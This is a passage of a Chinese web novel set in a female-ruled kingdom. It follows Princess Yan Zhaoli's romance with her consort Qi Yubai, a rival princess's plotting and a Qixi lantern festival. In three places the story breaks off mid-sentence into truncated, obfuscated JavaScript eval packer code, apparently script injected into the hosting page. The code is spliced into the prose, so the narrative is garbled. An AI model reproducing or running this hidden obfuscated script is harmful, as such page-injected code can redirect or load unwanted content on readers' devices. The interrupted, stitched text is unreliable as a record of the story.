言昭离摇头,无名面上一喜,身姿挺拔,无比坚定道:“那奴哪也不去,只要王爷还想留下奴,奴便在府上待着,无论是做花园小厮还是洒水小厮,奴都心甘情愿的待在王爷府中。” 既然无名不愿意,言昭离也不强求,她尊重他的意愿:“既如此,那你便安心待在府上,花园里的花也不用你照顾了,直接来内院来吧。” 内院,也就是近侍,能帮言昭离做更多的事,同时,如果能力再强些,也可以帮王爷做些暗地里的事。 无名颇为激动,王爷这是将他纳入自己的麾下:“是,奴日后只会效忠王爷一人。”这是他的承诺和忠心。 无名走后,言昭离走到窗边,听着外面淅淅沥沥的雨声,不自觉的陷入了沉思。 “在想什么?”沐浴后的祁逾白走了过来,他伸手,将窗支的位置调整了一下,“想的如此入神,连马上被雨淋了都没反应。”他调整后,窗户更低了些,但完全不会阻挡住言昭离看窗外的风景,只是遮挡住了即将要倾斜进屋里的雨。 “我只是在想,如果没有按照原剧情来,这个世界,又会发展成什么样?”无名的这件事,她本可以直接答应的,将无名当成一件物件一样送出去,可越接触这个世界,她越清楚的认识到,这个世界,如此真实,她无法不顾无名现在的意愿,即使到女主的身边是他既定的命运。 不管在她有意还是无意的干涉下,事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他倾身,刚沐浴过后,身上带着一股清香,很好闻,接着,他准确无误的覆上她的唇,与第一次亲吻略有些青涩的吻不一样,这次他上来就直接深入其中,挑逗她,纠缠她,雾蒙蒙的天气,湿湿漉漉的亲吻,言昭离晕乎乎的想,真是……进步的飞快。 外面的雨似乎下的更大了,噼里啪啦的硕大雨珠滴答在屋檐上,在言昭离差点承受不住的时候,他自动退了出来,看到言昭离即将要推开他的手,挑眉笑道:“看来,我的时间把握不错。” 言昭离微微喘气,感觉嘴唇麻麻的,她瞪了他一眼,这种事,还要把控时间吗? 等言昭离缓了一会,他又再次俯身上前,两人共同沉沦此中。 到最后,言昭离也不知道他们接了几次吻,只记得,每次祁逾白都控制在一个精确的时间,等她缓会,接着继续。 外面的雨从淅淅沥沥的下到停息,而他们还在接吻。 43. 第 43 章 难舍难离间,言昭离感觉到某处被抵上了什么东西,很炙热,联想到某些生理知识,她心一跳,在分开的间隙提议道:“你……你要不要去解决一下。” 祁逾白的眼中透着不可言说的意味,他抿唇,正好剐蹭掉上面的水泽:“好。” 他又抱了抱言昭离,面上无任何羞色,这本就极正常的事,要是对待喜欢的人还没有任何的反应,那才不正常。 他在言昭离的耳边哑声说道:“我可能要晚些才能回来,你先睡。” 等到他离开好一会,言昭离站在窗前吹了会风,她的面上满是余热,久久散不下去,满脑子都是刚才两人唇齿相伴的场景,耳边的水啧声,止不住的喘息声…… 言昭离用手为脸上扇风,企图降下点温度,但根本没有任何效果:“怎么回事,这风越吹越热,还是不要吹的好,对,还是不要吹为好。” 她欲离开窗边,才跨出一步,便差点栽倒在地,她这才发现,腿不知道什么时候软了,尽管祁逾白亲的时候控制了时间,但没有控制数量,亲的次数多了,腿也便软了。 再加上亲的时候,她是被抵在窗边,身体有个着力点,也便发现不了这件事。 言昭离站在原地缓了一会,这才去到床上,不知怎的,今日温差极大,白日里还是燥热的天,傍晚便是磅礴的大雨,凤吹的人直打哆嗦,言昭离捞起被子,指间冰凉的触感让她猛然发觉一个事情,平常都是有人暖床的,而今日,暖床的人还没来。 她望着祁逾白离去的方向,失笑,在女尊世界里,老板作为妾室,侧夫,暖床的职责倒是履行的很好。 言昭离躺在床上,一时睡不着,脑中思绪乱飞,想今天发生的事情,想二皇女的试探,想明日的安排,想……过了一会,疲惫席卷全身,在最后意识陷入昏暗的时候,她想,祁逾白什么时候回来,有些想念他的怀抱了。 祁逾白从浴室回来,费了不少的时间,他又重新沐浴了一遍,回到屋内,身上还带着些湿气,为了不扰到言昭离,他先在床边坐了会。 等身上的湿气完全散尽,他才上床,言昭离每日要早起,为了不妨碍到他早日睡眠,都是睡在外侧。 此刻,言昭离睡着后,没了意识,身体下意识的找寻安全的地方,已经从最开始的外侧到了内侧,贴近墙角。 祁逾白要睡内侧,是要把她叫醒过来的,他不愿扰她睡眠,就此睡在了外侧。 躺在床上,总发觉少了什么,祁逾白看向身旁背对着他的身影,先是把手臂伸了过去,探到言昭离的脑下,接着慢慢的将身子贴了上去,又在言昭离能感受到身后的热源的位置停下,等她适应身后的热源后,过了一会,他循着机会,将身体往后退。 冰冷的墙和源源不断的热源,言昭离果断放弃了前者,她跟着身后人的身影往后移,没过一会,祁逾白又慢腾腾的往后移动,极有耐心的等待着某人的落网……如此反复了四五下。 睡梦中的言昭离,变成了一只狸花猫,毛发光滑,身姿矫健,它年纪小,向往自由,此刻奔跑在一片草原上,走着走着,面前遇到了一条河,河流很浅,能看到许许多多的鱼,狸花猫馋了,开始蹲守在河边。 它弓着身子,悄无声息的走到河边,一条异常肥硕的鱼发现了它,并对它发出了挑衅,那鱼不断的跳出水面,还向它吐泡泡。 可恶,竟然敢挑衅一个天才捕鱼高手!狸花猫气极,它发誓一定要捉到那鱼,于是,蓄力一越,第一次,没抓成,它落到了河里,身上湿了个彻底,也吓跑了其它的鱼。 独留那只一开始挑衅的鱼,那鱼嘴张的大大的,似在嘲笑它。 第一次没捉成,狸花猫更加的耐住性子了,它不动声色的忍受着那鱼的挑衅,看着那鱼的胆子渐渐变得大了起来,竟跑到它的身后。 好机会,一个捕捉动作,狸花猫成功捉到了那鱼,而在现实里,言昭离伸手抱住了祁逾白,将他固定在原地,紧接着,她凑了上去,嘿嘿,这下可以享受她捉的鱼了。 祁逾白被她搂住腰侧,动弹不得,但他不在意,目的已经达成,他左手回抱住她,鼻尖嗅着她身上的清香,满意的闭上了双眼。 山不就我,我自就山。 * 两人相依偎着而眠,而远在另一处的言柳,却是如何也睡不着。 兰香换下即将燃尽的蜡烛,劝道:“殿下,时候不早了,早些休息吧。” 言柳揉着太阳穴,一双眼睛里满是红血丝,她把手中的信来回的翻看,这是言昭离在无名拒绝后写给她的信,大致意思就是无名不愿,皇姐也不愿强人所难,因此,皇妹提出的此事就此作罢。 “兰香,你说本皇女开出的条件不诱人吗?为何他不愿?为何执意留在皇姐身边,哪怕做一个洒水小厮都愿意。” “难道本皇女就如此比不上皇姐吗?”她几乎魔怔般的喃喃自语。 “殿下。”兰香唤了她一声,言柳陷入自己的思绪,没有反应过来,兰香又唤了一声。 “殿下,不要多思,有些人便是如此,错把珍珠当鱼目,且,谁知道这当中有没有庆武王的手笔,那无名本是个侍看花草的小厮,奴听探子来报,庆武王今儿已经把他升到内院了,日后应会安排些重要的差事,奴就纳闷了,庆武王早不给他升,偏偏在殿下要他的时候给他升了,庆武王定是不想把人给殿下,所以使了手段留了下来。” “是这样吗?” “是的,殿下,留不住的人便不要留了,殿下应当向前看,看看真正在意你的人。” 兰香说这话时,拿起言柳放在一旁的请帖,这份请帖在宴席结束后便送了过来,言柳看了一眼后便直接放置在了一旁,乞巧节将至,霍承起邀请言柳一同游玩,她正为无名拒绝的事烦躁,无心回复。 兰香把请帖重新交到言柳的手里:“殿下如此劳累,出去转转吧,霍郎君应是极想看见殿下的。” 言柳的目光落在请帖上,请帖外洒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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出身寒门,却能在朝堂上迅速站稳脚跟,且她的效忠对象,是母皇。 这是……打算背叛母皇,另寻新主吗? 真是一个好机会,言柳想,也不算枉费她在四皇姐面前暴露自己。 在烟花上动手脚的时候,她便从未想过隐瞒,隐匿的太久,是会被人忘了的,她必须得用些手段来展现自己的野心。风险虽大,但回报极高,看,这不就是有一条大鱼上钩了吗? 有了宋柠的支持,她离那个皇位,也更近了一步。 这次的乞巧节至关重要,她必须得好好表现,才能让宋柠把赌注压在她身上,如此去自然是不行的,必须得找个掩护。 她想到了霍承起的邀约:“兰香,本皇女改变主意了,你去回禀霍承起的侍从,讲本皇女会如约而至的。”这便是一个很好的掩护。 “是。” 44. 第 44 章 未时一刻,早应打开的宫门还未有所动静,只有殿内激烈的争吵声。 “翠鸣姐姐,殿下何时能下早朝?祁侧夫那边还等着殿下回去用膳。” “恐还要一会。” “那奴先回去回禀祁侧夫。” “去吧。” 金时走后没多久,紧闭的大门终于打开,翠鸣上前:“殿下今日下朝怎么这么晚?” 言昭离眉眼间略有些倦怠,上朝如上班,她就算什么都不做,什么都不说,光在那站一上午,也疲惫不堪:“朝上讨论新政,朝中大臣争执了久些。对了,祁侧夫可用过午膳了?” “刚刚小厮来问殿下何时回去,奴猜祁侧夫还未用膳,应是要等殿下一起。” “下次要是还遇到同此情形,便不要让他等了。” 翠鸣笑道:“殿下说的是,只不过这得要殿下亲口与祁侧夫说。” “本来皇妹还疑惑,皇姐今日怎么走的那么快。”身后,言落依追了上来,“现在倒是知道了,原是家里有人等着。” 她的面上带了艳羡:“皇姐与祁侧夫如此伉俪情深,可真叫皇妹羡慕。” 言昭离回道:“皇妹身边的知心人也不少。”作为言国最浪荡的皇女,言落依的身边,自是不缺美男。 言落依撇了撇嘴:“那一群人,皆是有所求的,对本皇女倒是不曾上心的。”她身边的,向来只在意每月的银子有多少,衣裳穿的好不好看,偶尔关心她,也是别有目的的。 “要是不图别的,只图皇妹,皇妹恐怕也心有惶恐。” 言落依摇着手里的扇子,眼中满是漫不经心:“皇姐说的是,要是旁人对我付诸真心,想必我也是要辜负的,这样就很好,我可不愿背负负心人的骂名。” 言落依走后,翠鸣望着她的背影,感叹道:“二皇女真是肆意洒脱。”这世间,情爱之事向来让人困惑,二皇女这般想,倒是符合她的性子。 “是啊,这般就很好。” 马车渐渐驶离皇宫,隐如人烟,庆武王府在京城的东南方向,需穿过一段热闹的街市,道路两侧,烟火气息不断透过窗子传了进来,言昭离随意撩开帘子,甚是惊奇:“今日这街上怎么跟平日里完全不一样?” 平日里的街市,全然不复之前的摸样,路上张灯结彩,跟过年里的盛景倒是有的一拼。 翠鸣倒了一盏茶,递给言昭离:“殿下怕是忙忘了,今日是乞巧节。” 言昭离握着温热的茶杯,一愣:“今日就是?” “是,”翠鸣问道,“看这布置,今晚会有灯会,殿下可要带祁侧夫一同出来游玩?” 言昭离垂眸望着外面热闹的场景,来这个世界没多久,就去往了别处的地方,忙着训练士兵剿匪之类的事情,这类节日,从未怎么过过,更准确的是,从未和祁逾白一起过,就连去年的春节,为了收服军心,她都是在军营里度过的。 两个人在一起后的第一个节日,无论如何也要重视的。 “收拾吧。” 这便是要去的意思了,翠鸣颔首:“是。” * 言昭离回了府,并未同祁逾白说晚上要出去游玩的事情,她想给祁逾白一个惊喜。 傍晚一过,祁逾白便要去厨房,他近日里闲着无事,琢磨了许多的菜谱。 厨房里,炊烟袅袅,锅内的水还在烧着,金时在下面添柴,祁逾白系着围裙,袖口被绳子束起,这身装扮,是为了方便他做事,围裙在这个时代自然是没有的,是祁逾白自己缝制的。 他来到这个世界,除了做些男子能做的,旁的也做不了,于是,在苦心学习下,他的绣艺和厨艺增长了许多。 言昭离常常调侃祁逾白,日后回了现代,就算祁氏集团破产,他也不会流落街头,这手艺,开个裁缝店和饭店,那也是绰绰有余。 没过一会,锅内的水烧开了,屋内顿时飘起袅袅白烟,弥漫的水汽打在了祁逾白昳丽的容颜上,他面色平静,有条不絮的进行着下一步,骨节分明的手指按压着案板上的菜,另一只手握着刀柄,每切一下,手腕上的青筋就会绷紧一次,在这白皙的皮肤上,显出几分美感。 蓦然,他的动作一顿,:“你怎么来了?” 言昭离从身后环保住他的腰,刚才站在门口看,便想如此做了,祁逾白的身形虽清瘦,可身材却是极好的,属于那种穿衣显瘦,脱衣有肉一类,此刻围裙系在腰间,更显劲瘦腰身,看的言昭离心里痒痒的。 “来看看你在干什么?”她伸出头,好奇的看向锅里,“这是什么?” 祁逾白转身:“我最近新学了药膳,给你补补身子。” 言昭离心头一动,她这个人,表达感谢向来直接。 祁逾白钳制住腰腹间滑动的手,无奈道:“当心,别被烫到了。”他就站在锅旁,怕锅内蹦出来的热水烫到了言昭离的手。 “不会的,有你在呢。”言昭离挣脱开他的钳制,指尖从他的喉结处滑下,“我知道,你不会让我受伤。” 祁逾白喉结不自觉滚动,轻‘嗯’一声,尾调上扬,随后,言昭离手又落在了他的腰腹处,隔着层布料,摸到几块硬硬的凸起,手感极好,言昭离控制不住的多摸了几下。 “别在这处,有旁人,回去,随便让你摸。”他指的是一旁添柴的金时。 “没人,已经让他走了。” “那……” 他话还未说完,言昭离就已经把手收回去,手上触摸的位置还留有余热,祁逾白的心头顿时涌上一股失落感。 “好了,不逗你,今日乞巧节,”言昭离身体微微前倾,伸手掌心向上,询问道:“祁逾白先生,我能邀请你同我一起度过这个美妙的乞巧节吗?” 祁逾白将手放到她的手心:“我的荣幸。” * 乞巧节在农历的七月初七,且是言国重要的节日,在这一天,男子会祈祷能得一个如意的妻主,男女也可在那天互通心意。 街上无疑是最热闹的,半空中悬挂着各式各样的花灯,远处有人放着孔明灯,熙熙囔囔的人群,街边卖花灯,吃食的小贩卖力的喊着,河上漂着精致小巧的花灯。 言昭离带着祁逾白出来,并未让侍从跟着,二人先是携手在街上游逛了一会,尝了各式各样的小吃,最终停在一处小摊面前。 围着这小摊的人不少,只因这摊主是个手艺精湛的老人,做出来的花灯无一不精美绝伦。 “各位,为了此次乞巧节,老身做了不少的花灯,皆在此售卖。” “听说您做了全天下最好看的花灯,这是真的吗?”乞巧节还未开始,就有人传,全天下最好看的花灯将在此摊位上出现。 “这个,自然是真的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妻主,你去猜么,人家想要。”有人摇着自家妻主的胳膊,撒娇道。 他的妻主无奈道:“那我去试试,不过,等会得不到也不要闹。” “妻主愿意为了我上去,我就很高兴了。” “这位朋友,你要参加吗?要是得到,我可以花钱买下。” “怎么样,有把握吗?” 在一片热切的交流声中,言昭离又仔细看了眼花灯,赞叹道,这花灯确实好看,后世无论如何都做不出来这样式的,且这花灯的外层围的纱布甚是清透,隐隐泛着蓝光,这颜色与祁逾白今日穿的衣服很搭配。 言昭离手指轻点他的手背,祁逾白会意,俯下身子,凑到她跟前,周围吵闹,要是不靠那么近,很难听清对方说了什么。 “你想要吗?我赢了送给你。” 祁逾白捏了捏她的手:“尽力而为。” 言昭离笑道:“放心吧,我猜谜很厉害的。” 接着,她从人群中走了出来:“我参加。” 与此同时,另一道熟悉的声音响起:“我也参加。”